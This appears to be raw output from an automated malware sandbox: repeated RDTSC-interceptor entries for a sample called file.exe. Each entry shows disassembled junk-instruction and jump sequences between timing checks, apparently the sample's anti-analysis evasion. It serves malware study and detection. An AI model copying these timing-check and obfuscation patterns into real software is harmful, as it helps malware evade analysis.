Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81900D second address: 819013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819013 second address: 819017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AAB4 second address: 81AAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B566 second address: 81B5A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F013CB9BBE7h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F013CB9BBDAh 0x00000013 push 00000000h 0x00000015 movzx edi, bx 0x00000018 push 00000000h 0x0000001a mov esi, dword ptr [ebp+122D3602h] 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 pop edi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B5A3 second address: 81B5C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F013D18EC6Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B5C2 second address: 81B5D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F013CB9BBDDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81BDB5 second address: 81BDB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81CB39 second address: 81CB5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F013CB9BBE7h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81CB5E second address: 81CB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D512 second address: 81D583 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007F013CB9BBD6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D3382h] 0x00000013 mov edi, dword ptr [ebp+122D1BBFh] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F013CB9BBD8h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 call 00007F013CB9BBE9h 0x0000003a mov di, EF00h 0x0000003e pop esi 0x0000003f push 00000000h 0x00000041 mov dword ptr [ebp+12475E89h], esi 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jg 00007F013CB9BBD6h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D583 second address: 81D587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D587 second address: 81D58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D58D second address: 81D597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F013D18EC66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821790 second address: 8217BF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F013CB9BBE0h 0x0000000e pushad 0x0000000f jmp 00007F013CB9BBE3h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8217BF second address: 82182C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F013D18EC68h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 jmp 00007F013D18EC73h 0x00000026 push 00000000h 0x00000028 jnl 00007F013D18EC6Ah 0x0000002e push 00000000h 0x00000030 mov bl, 9Eh 0x00000032 xchg eax, esi 0x00000033 push edx 0x00000034 jno 00007F013D18EC68h 0x0000003a pop edx 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e js 00007F013D18EC77h 0x00000044 jmp 00007F013D18EC71h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82182C second address: 821836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F013CB9BBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821947 second address: 821951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F013D18EC66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82280B second address: 82288E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F013CB9BBD8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push edi 0x00000026 or dword ptr [ebp+12475D64h], edi 0x0000002c pop ebx 0x0000002d jmp 00007F013CB9BBDBh 0x00000032 pushad 0x00000033 add eax, dword ptr [ebp+122D358Eh] 0x00000039 cmc 0x0000003a popad 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007F013CB9BBD8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 movsx edi, cx 0x0000005a push 00000000h 0x0000005c mov dword ptr [ebp+122D2870h], esi 0x00000062 push eax 0x00000063 jl 00007F013CB9BBE4h 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821951 second address: 821977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F013D18EC68h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82288E second address: 822892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8248FB second address: 824902 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824902 second address: 824908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822A2E second address: 822A38 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F013D18EC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824EDA second address: 824EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824EDE second address: 824EE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826BC0 second address: 826BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825EA5 second address: 825EB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013D18EC6Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827E20 second address: 827E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829E51 second address: 829F0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F013D18EC75h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov di, B01Dh 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F013D18EC68h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov ebx, dword ptr [ebp+122D1C77h] 0x00000040 mov eax, dword ptr [ebp+122D00CDh] 0x00000046 pushad 0x00000047 mov esi, dword ptr [ebp+122D2661h] 0x0000004d movzx eax, bx 0x00000050 popad 0x00000051 push FFFFFFFFh 0x00000053 adc bx, 3EE0h 0x00000058 call 00007F013D18EC6Ch 0x0000005d sub dword ptr [ebp+122D263Ch], esi 0x00000063 pop ebx 0x00000064 nop 0x00000065 pushad 0x00000066 jmp 00007F013D18EC76h 0x0000006b jno 00007F013D18EC71h 0x00000071 popad 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007F013D18EC72h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DD96 second address: 82DD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DD9C second address: 82DDAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007F013D18EC66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DDAB second address: 82DDB7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8303A9 second address: 8303F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 adc edi, 2B1E4B00h 0x0000000f push 00000000h 0x00000011 sub edi, dword ptr [ebp+122D1C49h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F013D18EC68h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 xchg eax, esi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F013D18EC6Eh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82ADF0 second address: 82ADF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8323E0 second address: 8323E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8323E4 second address: 83245D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F013CB9BBE1h 0x0000000e push eax 0x0000000f jmp 00007F013CB9BBE7h 0x00000014 pop eax 0x00000015 popad 0x00000016 nop 0x00000017 stc 0x00000018 push 00000000h 0x0000001a clc 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F013CB9BBD8h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 xchg eax, esi 0x00000038 jno 00007F013CB9BBE6h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 pop eax 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83245D second address: 832461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832461 second address: 832467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831570 second address: 831576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831576 second address: 83157A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83157A second address: 83162C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F013D18EC77h 0x0000000e nop 0x0000000f mov ebx, 3643CCF1h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b adc edi, 52A16AB1h 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F013D18EC68h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 add bx, 4592h 0x00000047 mov eax, dword ptr [ebp+122D13E1h] 0x0000004d jmp 00007F013D18EC6Ch 0x00000052 add ebx, dword ptr [ebp+122D3356h] 0x00000058 push FFFFFFFFh 0x0000005a sbb bx, DDD0h 0x0000005f nop 0x00000060 push ecx 0x00000061 pushad 0x00000062 push edi 0x00000063 pop edi 0x00000064 jmp 00007F013D18EC79h 0x00000069 popad 0x0000006a pop ecx 0x0000006b push eax 0x0000006c pushad 0x0000006d jmp 00007F013D18EC6Dh 0x00000072 push eax 0x00000073 push edx 0x00000074 jnl 00007F013D18EC66h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83162C second address: 831630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83351B second address: 8335B4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F013D18EC68h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f call 00007F013D18EC75h 0x00000014 mov dword ptr [ebp+124550A7h], eax 0x0000001a pop edi 0x0000001b push dword ptr fs:[00000000h] 0x00000022 add di, C67Bh 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e mov dword ptr [ebp+1247B20Fh], edx 0x00000034 mov eax, dword ptr [ebp+122D09A1h] 0x0000003a call 00007F013D18EC6Eh 0x0000003f mov bh, 2Ch 0x00000041 pop edi 0x00000042 sub dword ptr [ebp+1244A0F4h], edx 0x00000048 push FFFFFFFFh 0x0000004a jg 00007F013D18EC6Ah 0x00000050 mov bx, cx 0x00000053 nop 0x00000054 jmp 00007F013D18EC77h 0x00000059 push eax 0x0000005a pushad 0x0000005b jnp 00007F013D18EC6Ch 0x00000061 push ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B395 second address: 83B39B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B39B second address: 83B3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AC63 second address: 83AC71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013CB9BBDAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AC71 second address: 83AC98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC72h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F013D18EC6Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AC98 second address: 83ACBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F013CB9BBD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ACBB second address: 83ACD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F013D18EC82h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ACD3 second address: 83ACF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013CB9BBE6h 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8409FD second address: 840A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840A01 second address: 840A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840A07 second address: 840A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F013D18EC76h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F013D18EC74h 0x00000014 jmp 00007F013D18EC6Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840A4A second address: 840A7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBE3h 0x00000007 jmp 00007F013CB9BBE3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840A7B second address: 840A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F013D18EC70h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843D64 second address: 843DB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jns 00007F013CB9BBE4h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007F013CB9BBDFh 0x00000019 mov eax, dword ptr [eax] 0x0000001b jmp 00007F013CB9BBDAh 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push edi 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849DBB second address: 849DBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849DBF second address: 849DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84910C second address: 849110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849110 second address: 84911B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84926D second address: 849273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8493CC second address: 849417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F013CB9BBE6h 0x0000000a jmp 00007F013CB9BBE8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F013CB9BBE0h 0x00000016 jno 00007F013CB9BBD6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849417 second address: 84941B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849582 second address: 849599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013CB9BBE1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849599 second address: 8495A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F013D18EC66h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8495A7 second address: 8495B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jng 00007F013CB9BBD6h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84EC61 second address: 84EC73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F013D18EC6Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84EDC8 second address: 84EDDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F013CB9BBDEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F093 second address: 84F097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F1FA second address: 84F229 instructions: 0x00000000 rdtsc 0x00000002 je 00007F013CB9BBDCh 0x00000008 jnl 00007F013CB9BBD6h 0x0000000e jl 00007F013CB9BBDAh 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F013CB9BBE2h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F4F2 second address: 84F4F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F4F6 second address: 84F4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F669 second address: 84F673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F013D18EC66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F977 second address: 84F97D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F97D second address: 84F9A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F013D18EC68h 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 ja 00007F013D18EC6Eh 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F9A7 second address: 84F9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007F013CB9BBD6h 0x0000000c jmp 00007F013CB9BBE2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E7F4 second address: 84E7FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E7FA second address: 84E7FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
